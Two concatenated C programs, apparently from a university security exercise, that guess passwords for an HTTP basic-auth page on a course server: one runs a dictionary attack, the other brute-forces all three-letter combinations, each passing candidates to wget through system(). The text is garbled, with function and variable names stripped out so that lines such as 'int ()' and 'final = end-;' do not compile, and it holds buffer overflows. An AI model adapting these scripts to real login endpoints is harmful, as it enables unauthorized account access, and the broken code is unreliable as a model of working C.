#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define FOUND 2;
#define SECONDS 1e9


int findPassword(char *);

int ()
{
	FILE *fp;
	char word[64];
	char pass[3];
	int found;
	int incr=0;
	int , end, final;
	
	if ((fp = fopen("words","r")) == NULL) 
	{
		printf("Could Not open File -  tset.txt");
		return FAILURE;
		
	}
	printf("\n FILE SUCCESSFULLY opened");
	 = time();
	while (fgets(word, 64, fp) != NULL) 
	{	
		incr++;	
		word[strlen(word) - 1] = '\0';
		strncpy(pass,word,3);	
		found = findPassword(pass);	
		printf("\nTrial %d ",incr);
		if(found == 2)
		{
			printf("\nPASSWORD FOUND   --   %s",pass);
			end = time();
			final = end-;
			printf(" %lld nanoseconds   find the Password \n",final);
			printf(" %lld nanoseconds (%1f seconds)  find the Password \n",final,(double)final/SECONDS);
			return SUCCESS;
		}		
	}
	fclose(fp);	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");
		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}

#include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,j,k,m,count=0,flage=0;
	FILE* log;
	time_t ,finish;
	double ttime;
	char s[30];
	char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
	char add[100];
	strcpy(add,"wget --http-user= --http-passwd=    -nv  -o log http://sec-crack.cs.rmit.edu./SEC/2/");
	=time(NULL);	
	for(i=0;i<52;i++)	
	{
		for(j=0;j<52;j++)
		{
			for(k=0;k<52;k++)
			{
			printf("%c %c %c\n",arr[i],arr[j],arr[k]);
			
			add[40]=arr[i];
			add[41]=arr[j];
			add[42]=arr[k];
			system(add);
			count++;
			log=fopen("log","r");
			if(log!=(FILE*)NULL)
			fgets(s,100,log);
			printf("%s",s);		
				if(strcmp(s,"Authorization failed.\n")!=0)
				{
					finish=time(NULL);
					ttime=difftime(,finish);
					printf("\nThe password is %c%c%c \nThe time:%f\n The  of attempts %d",arr[i],arr[j],arr[k],ttime,count);
					flage=1;
					break;
				}
			
				fclose(log);
			}
		}
	}
	if(flage==0)	
	{
		for(i=0;i<52;i++)
		{
		add[40]=arr[i];
		system(add);
			count++;
			log=fopen("log","r");
			if(log!=(FILE*)NULL)
			fgets(s,100,log);
			printf("%s",s);
				if(strcmp(s,"Authorization failed.\n")!=0)
				{
					finish=time(NULL);
					ttime=difftime(,finish);
					printf("\nThe password is %c%c%c \nThe time:%f\n The  of attempts %d",arr[i],ttime,count);
					flage=1;
					break;
				}
			
				fclose(log);
		}
	}
	if(flage==0)	  
	{
		for(i=0;i<52;i++)
		{
			for(j=0;j<52;j++)
			{
			add[40]=arr[i];
			add[41]=arr[j];
			system(add);
			count++;
			log=fopen("log","r");
			if(log!=(FILE*)NULL)
			fgets(s,100,log);
			printf("%s",s);
				if(strcmp(s,"Authorization failed.\n")!=0)
				{
					finish=time(NULL);
					ttime=difftime(,finish);
					printf("\nThe password is %c%c%c \nThe time:%f\n The  of attempts %d",arr[i],arr[j],ttime,count);
					flage=1;
					break;
				}
			
				fclose(log);
			}
		}
	}
	
}
